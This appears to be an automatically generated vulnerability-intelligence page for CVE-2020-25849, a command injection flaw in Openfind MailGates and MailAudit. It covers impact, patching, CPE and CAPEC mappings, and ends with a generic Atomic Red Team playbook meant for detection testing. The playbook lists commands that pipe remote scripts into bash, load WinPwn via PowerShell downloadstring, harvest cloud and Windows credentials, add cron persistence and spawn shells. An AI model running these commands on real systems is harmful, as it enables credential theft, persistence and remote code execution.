CVE-2020-25849
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the 'cgi' parameter within Openfind MailGates and MailAudit products. The flaw arises because user-supplied input is directly passed to system-level command execution functions without adequate sanitization. The affected components are the CGI interfaces of MailGates and MailAudit versions 4.0 and 5.0, which process user requests containing the vulnerable parameter.
Vulnerability Description
MailGates and MailAudit products contain Command Injection flaw, which can be used to inject and execute system commands from the cgi parameter after attackers obtain the user’s access token.
Impact
An attacker with a valid user access token can exploit this vulnerability to execute arbitrary system commands remotely on the affected server, potentially leading to full system compromise. The exploit requires network access and authentication with at least limited privileges (PR:L) but no user interaction. Successful exploitation can result in unauthorized data access, service disruption, or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates low attack complexity and no user interaction needed.
Solution
According to the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-4118-6292c-1.html), Openfind has released patches for MailGates and MailAudit versions 4.0 and 5.0 that address the command injection vulnerability by correcting input validation in the CGI parameter processing. Users should update to the latest patched versions as specified in the vendor's advisory. No alternative workarounds are provided, so applying the official patches is required to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the MailGates and MailAudit products is characterized by a command injection flaw, which allows an attacker to execute arbitrary system commands through the manipulation of the CGI parameters. This occurs after the attacker has successfully obtained a user's access token, which is a critical piece of information that grants them elevated privileges within the system. The flaw arises from insufficient input validation, allowing malicious input to be processed as legitimate commands. This can lead to severe consequences, as attackers can exploit this weakness to execute commands that may compromise the integrity, confidentiality, or availability of the system.
Attack vectors for this vulnerability are particularly concerning due to the reliance on user access tokens. Once an attacker gains access to a valid token, they can craft specially designed requests that include malicious commands embedded in the CGI parameters. This could be achieved through various means, such as phishing attacks, social engineering, or exploiting other vulnerabilities within the application to capture the token. Once the attacker has the token, they can perform a range of malicious activities, including data exfiltration, system manipulation, or even deploying malware to further compromise the environment. The ability to execute system commands remotely significantly amplifies the risk, as it can lead to a full system takeover.
The real-world impact of this vulnerability can be profound, especially for organizations that rely heavily on the affected MailGates and MailAudit products for their email management and security. Successful exploitation can lead to unauthorized access to sensitive data, including personal information, financial records, and proprietary business information. The potential for data breaches not only poses a direct financial risk due to regulatory fines and remediation costs but also damages an organization's reputation and erodes customer trust. Furthermore, the ability to manipulate system commands could result in operational disruptions, leading to downtime and loss of productivity, which can have cascading effects on business operations.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and vulnerability scanning, should be conducted to identify and remediate weaknesses in the system. Input validation mechanisms must be strengthened to ensure that all user inputs, especially those from CGI parameters, are properly sanitized and validated against a whitelist of acceptable values. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Organizations should also enforce strict access controls and monitor for unusual activity that may indicate an attempted exploitation of the vulnerability.
In conclusion, the command injection flaw in the MailGates and MailAudit products presents a significant threat to organizations utilizing these tools. The ability for an attacker to execute arbitrary commands after obtaining a user’s access token underscores the importance of robust security practices. By prioritizing detection and mitigation strategies, organizations can better protect themselves against potential exploitation and the associated risks. Continuous vigilance and proactive measures are essential in maintaining a secure environment in the face of evolving cyber threats.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Openfind | Mailaudit | 4.0 |
cpe:2.3:a:openfind:mailaudit:4.0:*:*:*:*:*:*:*
|
|
|
Openfind | Mailaudit | 5.0 |
cpe:2.3:a:openfind:mailaudit:5.0:*:*:*:*:*:*:*
|
|
|
Openfind | Mailgates | 4.0 |
cpe:2.3:a:openfind:mailgates:4.0:*:*:*:*:*:*:*
|
|
|
Openfind | Mailgates | 5.0 |
cpe:2.3:a:openfind:mailgates:5.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25849 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-4118-6292c-1.html |